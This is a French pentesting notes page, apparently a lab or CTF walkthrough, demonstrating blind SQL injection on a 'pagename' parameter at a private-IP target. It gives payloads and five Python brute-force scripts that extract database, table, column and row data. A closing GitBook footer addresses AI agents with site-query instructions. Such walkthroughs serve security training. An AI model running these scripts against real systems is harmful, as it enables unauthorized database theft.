> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md).

# SQLi Pagename

## Injection SQL :

**Détection d'une vulnérabilité d'injection SQL** En ajoutant une apostrophe dans le champ "home", une erreur SQL apparaît, révélant une vulnérabilité possible à une attaque par injection SQL.

<figure><img src="/files/056553e5cbfb2b6a4bf564c38ce4c37b386a4b6b" alt=""><figcaption></figcaption></figure>

**Exploitation de la vulnérabilité d'injection SQL** En introduisant l'injection SQL `/cms.php?pagename=home' or '1'='1`, aucune erreur n'apparaît, confirmant la vulnérabilité.

<figure><img src="/files/62e8160790578b13205339bbc12f623bf33da14d" alt=""><figcaption></figcaption></figure>

**Extraction du nom de la base de données avec SUBSTRING** Maintenant, avec ce point d'entrée, nous utilisons le **substring** paramètre pour trouver les caractères du nom de la base de données en saisissant des lettres jusqu'à ce que les erreurs disparaissent. Voici un exemple pour les trois premiers caractères :

* Première lettre : `/cms.php?pagename=home' or substring(database(),1,1)='a`
* Deuxième lettre : `/cms.php?pagename=home' or substring(database(),2,1)='d`
* Troisième lettre : `/cms.php?pagename=home' or substring(database(),3,1)='m` Tout d'abord, un script Python peut automatiser l'ensemble du processus pour obtenir **le nom de la base de données**.

<pre class="language-python"><code class="lang-python"><strong>#!/usr/bin/python3
</strong>from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

#Ctrl +c

signal.signal(signal.SIGINT, def_handler)

#Variables globales

characters = string.ascii_lowercase
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Data")
    for position in range(1, 6 ):
        for character in characters:
            sqli_url = main_url + "home' or substring(database(),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Bienvenue dans l'administration de l'IMF." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute force SQLI conclu")
    p2.success(data)
if __name__ == '__main__':
    sqli()
</code></pre>

<figure><img src="/files/90e8dad1ccfcf09cc82a3ff9146e7c0b9522a3c0" alt=""><figcaption></figcaption></figure>

Ensuite, un script Python pour automatiser l'ensemble du processus afin de **obtenir les noms** de toutes les bases de données.

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Data")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Bienvenue dans l'administration de l'IMF." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute force SQLI conclu")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/b0357047ea48775f2e4dcab85512b6e7c014361c" alt=""><figcaption></figcaption></figure>

Maintenant, un script Python pour automatiser l'ensemble du processus afin de **obtenir le nom des tables** des bases de données (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Data")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1)='%s" % (position, chara
cter)
            r = requests.get(sqli_url, headers=headers)
            if "Bienvenue dans l'administration de l'IMF." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute force SQLI conclu")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/3db5d3da9d1b5fe6bef3e8dba186c2b04fbf9498" alt=""><figcaption></figcaption></figure>

Maintenant, un script Python pour automatiser l'ensemble du processus afin de **obtenir le nom des colonnes** des bases de données (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Data")
    for position in range(1, 100):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1
)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Bienvenue dans l'administration de l'IMF." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute force SQLI conclu")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/fda73e278b58b28eb5bde5861a217c6f049818ea" alt=""><figcaption></figcaption></figure>

Maintenant, un script Python pour automatiser l'ensemble du processus afin de **obtenir le contenu** de la colonne pagename des bases de données (admin).

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "$%-/_,;:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
    headers = {
        'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
    }
    data = ""
    p1 = log.progress("SQLI")
    p1.status("Démarrage de l'injection SQL...")
    time.sleep(2)
    p2 = log.progress("Data")
    for position in range(1, 500):
        for character in characters:
            sqli_url = main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
            r = requests.get(sqli_url, headers=headers)
            if "Bienvenue dans l'administration de l'IMF." not in r.text:
                data += character
                p2.status(data)
                break
    p1.success("Brute force SQLI conclu")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/0f29f1140a2ff71bc66cbdebd6114388ea488c7d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
